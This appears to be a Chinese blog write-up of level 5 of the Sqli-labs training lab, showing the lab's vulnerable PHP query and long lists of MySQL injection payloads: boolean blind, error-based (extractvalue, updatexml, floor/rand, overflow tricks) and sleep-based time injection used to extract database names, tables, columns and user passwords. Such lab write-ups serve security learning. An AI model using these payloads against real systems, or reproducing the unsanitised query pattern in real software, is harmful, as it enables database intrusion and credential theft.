重闯Sqli-labs关卡第二天(5关)

Posted 2020-11-24 笑花大王

第五关(双注入GET单引号字符型注入-报错时间注入)

盲注
盲注，Blind SQL Injection
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注

核心代码:(不会返回数据库中的数据)

 1 $sql="SELECT * FROM users WHERE id=\'$id\' LIMIT 0,1";
 2 $result=mysql_query($sql);
 3 $row = mysql_fetch_array($result);
 4 if($row)
 5 {
 6 echo \'<font size="5" color="#FFFF00">\';    
 7 echo \'You are in...........\';
 8 echo "<br>";
 9 echo "</font>";
10 }
11 else 
12 {
13 
14 echo \'<font size="3" color="#FFFF00">\';
15 print_r(mysql_error());
16 echo "</br></font>";    
17 echo \'<font color= "#0000ff" font size= 3>\';    
18 
19 }
20 }
21 else { echo "Please input the ID as parameter with numeric value";}

 

 1 1.探测php版本号
 2 id=1\' and left(version(),1)=5%23
 3 
 4 2.探测数据库长度
 5 id=1\' and length(database())=8%23
 6 探测数据库名(采用二分法)
 7 id=1\' and left(database(),1)>\'a\'%23
 8 id=1\' and left(database(),1)=\'s\'%23
 9 id=1\' and left(database(),2)>\'se\'%23
10 id=1\' and left(database(),2)=\'se\'%23
11 id=1\' and left(database(),3)>\'sec\'%23
12 id=1\' and left(database(),3)=\'sec\'%23
13 ........
14 id=1\' and left(database(),8)=\'security\'%23
15 
16 
17 3.获取表名
18 substr() ascii()函数进行尝试
19 id=1\' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>82%23
20 id=1\' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
21 id=1\' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23
22 ...
23 逐步测试得出表名为:email
24 想获取第二个表替换limit 后面的值即可第二张表就是limit 1,1
25 id=1\' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113%23
26 
27 
28 4.获取urser中的列
29 利用regexp获取
30 通过regexp检测是否有us**列
31 id=1\' and 1=(select 1 from information_schema.columns where table_name=\'users\' and table_name regexp \'^us[a-z]\' limit 0,1)--+\'
32 通过regexp检测而是否有username开头的列
33 id=1\' and 1=(select 1 from information_schema.columns where table_name=\'users\' and column_name regexp \'^username\' limit 0,1)--+
34 
35 5.获取列中的内容
36 利用ord()和mid()函数获取users表的内容
37 IFNULL()用于判断第一个表达式是否为NULL 如果是返回第二个 否则返回第一个
38 CAST()把一个字段转成另一个字段
39 id=1\' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
40 id=1\' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
41 id=1\' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
42 id=1\' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),2,1))=68--+
43 最后爆出 Dumb

 

 

第二种方法:报错注入

 1 id=1\' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
 2 
 3 数值类型超出范围进行报错注入
 4 id=1\' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
 5 
 6 利用bigint溢出进行报错注入
 7 id=1\' union select (!(select * from (select user())x) - ~0),2,3--+
 8 
 9 xpath函数报错注入
10 id=1\' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
11 
12 id=1\' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
13 
14 利用数据的重复性
15 id=1\'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

 

第三种：sleep延迟注入

sleep注入是另一种形式的盲注，与bool注入不同,sleep注入没有任何报错信息输出，页面返回不管对或者错都是一种状态，
攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确，只能通过构造sleep注入的SQL测试语句，根据页面的返回时间判断数据库中存储了那些信息
判断是否是时间延迟型的注入

 1 \' and sleep(5)--+
 2 爆数据库长度
 3 \' and if(length(database())=8,sleep(5),1)--+
 4 爆数据库名
 5 \' and if(ascii(substr(database(),1,1))>5,sleep(5),1)--+
 6 OR
 7 \' and if(left(database(),1)=\'s\',sleep(5),1)--+
 8 爆判断数据库表数量
 9 \' and if((select count(*) from information_schema.tables where table_schema=database())>1,sleep(5),1)--+
10 爆表名
11 \' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=\'r\',sleep(5),1)--+
12 OR
13 \' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=\'r\' --+
14 \' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=\'e\' --+
15 判断字段数量
16 \' and if((select count(*) from information_schema.columns where table_name=\'users\')>1,sleep(5),1)--+
17 判断字段名
18 \' and left((select column_name from information_schema.columns where table_name=\'users\' limit 1,1),1)=\'f\'--+
19 爆字段下的数据
20 \' and left((select password from users limit 0,1),1)=\'D\' --+

 

附:ASCII转换:https://www.qqxiuzi.cn/bianma/ascii.htm
参考学习:https://www.cnblogs.com/lcamry/articles/5717442.html
https://www.cnblogs.com/lcamry/p/6122257.html